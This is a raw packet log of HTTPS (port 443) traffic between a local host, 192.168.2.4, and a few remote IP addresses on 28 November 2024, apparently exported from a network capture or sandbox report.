Nov 28, 2024 13:10:09.529206038 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.541533947 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.541560888 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.542809963 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.542845964 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.543154955 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.543163061 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.543320894 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.543325901 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.727596998 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:09.813729048 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:09.865803957 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.865886927 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.865947008 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.870686054 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.870820999 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.870871067 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.874037027 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.874100924 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.874152899 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.916313887 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:09.916331053 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:09.916799068 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.916806936 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.916817904 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.916821957 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.916971922 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.916996956 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.917030096 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.917037964 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.917596102 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:09.917618036 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:09.917655945 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:09.918395042 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.918402910 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.943075895 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.943155050 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.943229914 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.985677004 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.985754967 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.985836029 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.000180006 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:10.044632912 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.044655085 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.051306963 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:10.051505089 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:10.059305906 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.059355021 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.059788942 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.094917059 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.094949007 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.102623940 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.102664948 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.106267929 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.106306076 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.106412888 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.106642962 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.106678963 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.106743097 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.106899023 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.106909990 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.107827902 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.107841969 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.107867002 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.107876062 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.108047962 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.108122110 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.108133078 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.109952927 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.109966993 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.110075951 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.110241890 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:10.110250950 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:10.192539930 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:10.192574978 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:10.302696943 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:10.686682940 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:10.686728001 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:10.686899900 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:10.688344955 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:10.688364983 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:11.819241047 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.819796085 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.819824934 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.820435047 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.820441008 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.822827101 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.823225975 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.823242903 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.823664904 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.823672056 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.918315887 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.918946028 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.918963909 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.919544935 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.919552088 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.952244043 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.953850985 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.963753939 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.963773966 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.964256048 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.964262009 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.964529037 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.964548111 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:11.964891911 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:11.964898109 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.170593977 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.170670986 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.177005053 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.177017927 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.177264929 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.202929020 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.202963114 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.203125954 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.203336000 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.203346014 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.228907108 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.254576921 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.254653931 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.254715919 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.257886887 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.257961035 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.258177042 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.264729023 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.264755011 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.264767885 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.264775038 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.269959927 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.269994020 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.270061970 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.272253036 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.272253036 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.272280931 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.272291899 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.279306889 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.279330015 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.284925938 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.284980059 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.285058022 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.285402060 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.285418987 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.311208010 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.351337910 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.363538980 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.363604069 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.363697052 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.365782976 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.365812063 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.369199991 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.369244099 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.369335890 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.369712114 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.369729042 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.384598017 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.384629011 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.384701014 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.385337114 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.385351896 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.406891108 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.406965971 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.407030106 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.407481909 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.407495022 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.407525063 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.407531023 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.410083055 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.410147905 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.410211086 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.414664984 CET	49789	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.414697886 CET	443	49789	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.418867111 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.418895006 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.418975115 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.420346022 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.420393944 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.420474052 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.420761108 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.420773029 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.421180964 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:12.421196938 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:12.732047081 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.732203007 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.732353926 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.854043961 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.854043961 CET	49792	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.854082108 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.854094982 CET	443	49792	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.952198029 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.952241898 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:12.952344894 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.952781916 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:12.952795982 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.006088972 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.006901979 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.006925106 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.007447004 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.007452011 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.054186106 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.054449081 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.054470062 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.055558920 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.055706978 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.056813002 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.056900024 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.057147026 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.057152987 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.059518099 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.060149908 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.060173035 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.060648918 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.060655117 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.097174883 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.149350882 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.149951935 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.149981976 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.150492907 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.150499105 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.181355000 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.181616068 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.181631088 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.182739973 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.182827950 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.183907032 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.184050083 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.184185028 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.184192896 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.210040092 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.211031914 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.211069107 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.211560965 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.211566925 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.223836899 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.226589918 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.227157116 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.227174997 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.227631092 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.227636099 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.383018970 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.383130074 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:14.384638071 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:14.384649038 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.384891987 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.386764050 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:14.427347898 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.440916061 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.440975904 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.441071987 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.441452980 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.441471100 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.441483021 CET	49800	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.441488981 CET	443	49800	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.445173025 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.445220947 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.445470095 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.445633888 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.445647001 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.503722906 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.503792048 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.504132986 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.504446030 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.504462004 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.504479885 CET	49799	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.504486084 CET	443	49799	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.508369923 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.508392096 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.508627892 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.508790016 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.508805990 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557445049 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557454109 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557459116 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557482958 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557538986 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.557544947 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557552099 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.557600975 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.584935904 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.585001945 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.585340023 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.585573912 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.585587978 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.585597992 CET	49803	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.585602999 CET	443	49803	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.588778973 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.588809013 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.589035034 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.589207888 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.589221001 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.654573917 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.654645920 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.654759884 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.655214071 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.655214071 CET	49804	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.655263901 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.655288935 CET	443	49804	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.658766031 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.658783913 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.659110069 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.659523010 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.659534931 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.676903963 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.676934958 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.676978111 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.676994085 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.676996946 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.677014112 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.677027941 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.677045107 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.677084923 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.677084923 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.680661917 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.680723906 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.680871010 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.681494951 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.681512117 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.681524992 CET	49801	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.681529999 CET	443	49801	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.685702085 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.685736895 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.685895920 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.686115026 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.686137915 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.757896900 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.757925034 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.758038998 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.758038998 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.758045912 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.758622885 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.830171108 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.830190897 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.830272913 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.830281019 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.830599070 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.834347010 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.834424019 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.834444046 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.834496021 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.835938931 CET	49798	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.835954905 CET	443	49798	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.859164953 CET	443	49802	13.107.246.63	192.168.2.4
